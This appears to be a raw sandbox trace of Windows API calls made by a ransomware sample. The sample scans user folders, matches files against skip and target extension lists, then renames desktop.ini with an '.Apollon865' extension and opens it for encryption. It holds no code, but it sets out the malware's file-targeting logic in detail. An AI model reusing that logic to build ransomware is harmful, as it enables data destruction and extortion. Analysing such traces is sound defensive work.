	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="Apollon865.txt.exe") returned 1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2=".") returned 1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="..") returned 1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="windows") returned -1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="bootmgr") returned 1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="temp") returned -1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="pagefile.sys") returned -1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="boot") returned 1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="ids.txt") returned -1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="ntuser.dat") returned -1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="perflogs") returned -1
	[0035.620] lstrcmpiW (lpString1="Default User", lpString2="MSBuild") returned -1
	[0035.620] lstrlenW (lpString="Default User") returned 12
	[0035.620] lstrlenW (lpString="C:\\Users\\Default") returned 16
	[0035.620] lstrcpyW (in: lpString1=0x119e61a, lpString2="Default User" | out: lpString1="Default User") returned="Default User"
	[0035.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a28
	[0035.620] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2c) returned 0x5b7df0
	[0035.620] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a30 | out: ListHead=0x5b75f0, ListEntry=0x5b7a30) returned 0x5b7a10
	[0035.620] FindNextFileW (in: hFindFile=0x5ca0d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.620] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.620] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.620] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.620] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.620] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.620] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.620] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.620] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.621] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.621] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.621] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.621] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.621] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.621] lstrlenW (lpString="desktop.ini") returned 11
	[0035.621] lstrlenW (lpString="C:\\Users\\Default User") returned 21
	[0035.621] lstrcpyW (in: lpString1=0x119e61a, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.621] lstrlenW (lpString="desktop.ini") returned 11
	[0035.621] lstrlenW (lpString="Apollon865") returned 10
	[0035.621] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.621] lstrlenW (lpString=".dll") returned 4
	[0035.621] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.621] lstrlenW (lpString=".lnk") returned 4
	[0035.621] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.621] lstrlenW (lpString=".ini") returned 4
	[0035.621] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.621] lstrlenW (lpString=".sys") returned 4
	[0035.621] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.621] lstrlenW (lpString="desktop.ini") returned 11
	[0035.621] lstrlenW (lpString="bak") returned 3
	[0035.621] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.621] lstrlenW (lpString="ba_") returned 3
	[0035.621] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.621] lstrlenW (lpString="dbb") returned 3
	[0035.621] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.621] lstrlenW (lpString="vmdk") returned 4
	[0035.621] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.621] lstrlenW (lpString="rar") returned 3
	[0035.621] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.621] lstrlenW (lpString="zip") returned 3
	[0035.621] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.621] lstrlenW (lpString="tgz") returned 3
	[0035.621] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.621] lstrlenW (lpString="vbox") returned 4
	[0035.621] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.621] lstrlenW (lpString="vdi") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.622] lstrlenW (lpString="vhd") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.622] lstrlenW (lpString="vhdx") returned 4
	[0035.622] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.622] lstrlenW (lpString="avhd") returned 4
	[0035.622] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.622] lstrlenW (lpString="db") returned 2
	[0035.622] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.622] lstrlenW (lpString="db2") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.622] lstrlenW (lpString="db3") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.622] lstrlenW (lpString="dbf") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.622] lstrlenW (lpString="mdf") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.622] lstrlenW (lpString="mdb") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.622] lstrlenW (lpString="sql") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.622] lstrlenW (lpString="sqlite") returned 6
	[0035.622] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.622] lstrlenW (lpString="sqlite3") returned 7
	[0035.622] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.622] lstrlenW (lpString="sqlitedb") returned 8
	[0035.622] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.622] lstrlenW (lpString="xml") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.622] lstrlenW (lpString="$er") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.622] lstrlenW (lpString="4dd") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.622] lstrlenW (lpString="4dl") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.622] lstrlenW (lpString="^^^") returned 3
	[0035.622] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.622] lstrlenW (lpString="abs") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.623] lstrlenW (lpString="abx") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.623] lstrlenW (lpString="accdb") returned 5
	[0035.623] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.623] lstrlenW (lpString="accdc") returned 5
	[0035.623] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.623] lstrlenW (lpString="accde") returned 5
	[0035.623] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.623] lstrlenW (lpString="accdr") returned 5
	[0035.623] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.623] lstrlenW (lpString="accdt") returned 5
	[0035.623] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.623] lstrlenW (lpString="accdw") returned 5
	[0035.623] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.623] lstrlenW (lpString="accft") returned 5
	[0035.623] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.623] lstrlenW (lpString="adb") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.623] lstrlenW (lpString="adb") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.623] lstrlenW (lpString="ade") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.623] lstrlenW (lpString="adf") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.623] lstrlenW (lpString="adn") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.623] lstrlenW (lpString="adp") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.623] lstrlenW (lpString="alf") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.623] lstrlenW (lpString="ask") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.623] lstrlenW (lpString="btr") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.623] lstrlenW (lpString="cat") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.623] lstrlenW (lpString="cdb") returned 3
	[0035.623] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.624] lstrlenW (lpString="ckp") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.624] lstrlenW (lpString="cma") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.624] lstrlenW (lpString="cpd") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.624] lstrlenW (lpString="dacpac") returned 6
	[0035.624] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.624] lstrlenW (lpString="dad") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.624] lstrlenW (lpString="dadiagrams") returned 10
	[0035.624] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.624] lstrlenW (lpString="daschema") returned 8
	[0035.624] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.624] lstrlenW (lpString="db-journal") returned 10
	[0035.624] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.624] lstrlenW (lpString="db-shm") returned 6
	[0035.624] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.624] lstrlenW (lpString="db-wal") returned 6
	[0035.624] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.624] lstrlenW (lpString="dbc") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.624] lstrlenW (lpString="dbs") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.624] lstrlenW (lpString="dbt") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.624] lstrlenW (lpString="dbv") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.624] lstrlenW (lpString="dbx") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.624] lstrlenW (lpString="dcb") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.624] lstrlenW (lpString="dct") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.624] lstrlenW (lpString="dcx") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.624] lstrlenW (lpString="ddl") returned 3
	[0035.624] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.624] lstrlenW (lpString="dlis") returned 4
	[0035.625] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.625] lstrlenW (lpString="dp1") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.625] lstrlenW (lpString="dqy") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.625] lstrlenW (lpString="dsk") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.625] lstrlenW (lpString="dsn") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.625] lstrlenW (lpString="dtsx") returned 4
	[0035.625] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.625] lstrlenW (lpString="dxl") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.625] lstrlenW (lpString="eco") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.625] lstrlenW (lpString="ecx") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.625] lstrlenW (lpString="edb") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.625] lstrlenW (lpString="epim") returned 4
	[0035.625] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.625] lstrlenW (lpString="fcd") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.625] lstrlenW (lpString="fdb") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.625] lstrlenW (lpString="fic") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.625] lstrlenW (lpString="flexolibrary") returned 12
	[0035.625] lstrlenW (lpString="fm5") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.625] lstrlenW (lpString="fmp") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.625] lstrlenW (lpString="fmp12") returned 5
	[0035.625] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.625] lstrlenW (lpString="fmpsl") returned 5
	[0035.625] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.625] lstrlenW (lpString="fol") returned 3
	[0035.625] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.626] lstrlenW (lpString="fp3") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.626] lstrlenW (lpString="fp4") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.626] lstrlenW (lpString="fp5") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.626] lstrlenW (lpString="fp7") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.626] lstrlenW (lpString="fpt") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.626] lstrlenW (lpString="frm") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.626] lstrlenW (lpString="gdb") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.626] lstrlenW (lpString="gdb") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.626] lstrlenW (lpString="grdb") returned 4
	[0035.626] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.626] lstrlenW (lpString="gwi") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.626] lstrlenW (lpString="hdb") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.626] lstrlenW (lpString="his") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.626] lstrlenW (lpString="ib") returned 2
	[0035.626] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.626] lstrlenW (lpString="idb") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.626] lstrlenW (lpString="ihx") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.626] lstrlenW (lpString="itdb") returned 4
	[0035.626] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.626] lstrlenW (lpString="itw") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.626] lstrlenW (lpString="jet") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.626] lstrlenW (lpString="jtx") returned 3
	[0035.626] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.626] lstrlenW (lpString="kdb") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0035.627] lstrlenW (lpString="kexi") returned 4
	[0035.627] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.627] lstrlenW (lpString="kexic") returned 5
	[0035.627] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.627] lstrlenW (lpString="kexis") returned 5
	[0035.627] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.627] lstrlenW (lpString="lgc") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.627] lstrlenW (lpString="lwx") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.627] lstrlenW (lpString="maf") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.627] lstrlenW (lpString="maq") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.627] lstrlenW (lpString="mar") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.627] lstrlenW (lpString="marshal") returned 7
	[0035.627] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.627] lstrlenW (lpString="mas") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.627] lstrlenW (lpString="mav") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.627] lstrlenW (lpString="maw") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0035.627] lstrlenW (lpString="mdbhtml") returned 7
	[0035.627] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.627] lstrlenW (lpString="mdn") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.627] lstrlenW (lpString="mdt") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.627] lstrlenW (lpString="mfd") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.627] lstrlenW (lpString="mpd") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.627] lstrlenW (lpString="mrg") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.627] lstrlenW (lpString="mud") returned 3
	[0035.627] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.628] lstrlenW (lpString="mwb") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.628] lstrlenW (lpString="myd") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.628] lstrlenW (lpString="ndf") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.628] lstrlenW (lpString="nnt") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.628] lstrlenW (lpString="nrmlib") returned 6
	[0035.628] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.628] lstrlenW (lpString="ns2") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.628] lstrlenW (lpString="ns3") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.628] lstrlenW (lpString="ns4") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.628] lstrlenW (lpString="nsf") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.628] lstrlenW (lpString="nv") returned 2
	[0035.628] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.628] lstrlenW (lpString="nv2") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.628] lstrlenW (lpString="nwdb") returned 4
	[0035.628] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.628] lstrlenW (lpString="nyf") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.628] lstrlenW (lpString="odb") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.628] lstrlenW (lpString="odb") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.628] lstrlenW (lpString="oqy") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.628] lstrlenW (lpString="ora") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.628] lstrlenW (lpString="orx") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.628] lstrlenW (lpString="owc") returned 3
	[0035.628] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.629] lstrlenW (lpString="p96") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.629] lstrlenW (lpString="p97") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.629] lstrlenW (lpString="pan") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.629] lstrlenW (lpString="pdb") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.629] lstrlenW (lpString="pdm") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.629] lstrlenW (lpString="pnz") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.629] lstrlenW (lpString="qry") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.629] lstrlenW (lpString="qvd") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.629] lstrlenW (lpString="rbf") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.629] lstrlenW (lpString="rctd") returned 4
	[0035.629] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.629] lstrlenW (lpString="rod") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.629] lstrlenW (lpString="rodx") returned 4
	[0035.629] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.629] lstrlenW (lpString="rpd") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.629] lstrlenW (lpString="rsd") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.629] lstrlenW (lpString="sas7bdat") returned 8
	[0035.629] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.629] lstrlenW (lpString="sbf") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.629] lstrlenW (lpString="scx") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.629] lstrlenW (lpString="sdb") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.629] lstrlenW (lpString="sdc") returned 3
	[0035.629] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.629] lstrlenW (lpString="sdf") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.630] lstrlenW (lpString="sis") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.630] lstrlenW (lpString="spq") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.630] lstrlenW (lpString="te") returned 2
	[0035.630] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.630] lstrlenW (lpString="teacher") returned 7
	[0035.630] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.630] lstrlenW (lpString="tmd") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.630] lstrlenW (lpString="tps") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.630] lstrlenW (lpString="trc") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.630] lstrlenW (lpString="trc") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.630] lstrlenW (lpString="trm") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.630] lstrlenW (lpString="udb") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.630] lstrlenW (lpString="udl") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.630] lstrlenW (lpString="usr") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.630] lstrlenW (lpString="v12") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.630] lstrlenW (lpString="vis") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.630] lstrlenW (lpString="vpd") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.630] lstrlenW (lpString="vvv") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.630] lstrlenW (lpString="wdb") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.630] lstrlenW (lpString="wmdb") returned 4
	[0035.630] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.630] lstrlenW (lpString="wrk") returned 3
	[0035.630] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.631] lstrlenW (lpString="xdb") returned 3
	[0035.631] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.631] lstrlenW (lpString="xld") returned 3
	[0035.631] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.631] lstrlenW (lpString="xmlff") returned 5
	[0035.631] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.631] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\desktop.ini.Apollon865") returned 31
	[0035.631] MoveFileExW (lpExistingFileName="C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), lpNewFileName="C:\\Users\\desktop.ini.Apollon865" (normalized: "c:\\users\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0035.634] CreateFileW (lpFileName="C:\\Users\\desktop.ini.Apollon865" (normalized: "c:\\users\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xb4
	[0035.634] GetFileSizeEx (in: hFile=0xb4, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=174) returned 1
	[0035.634] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x2d40020
	[0035.634] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x5c9418
	[0035.634] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
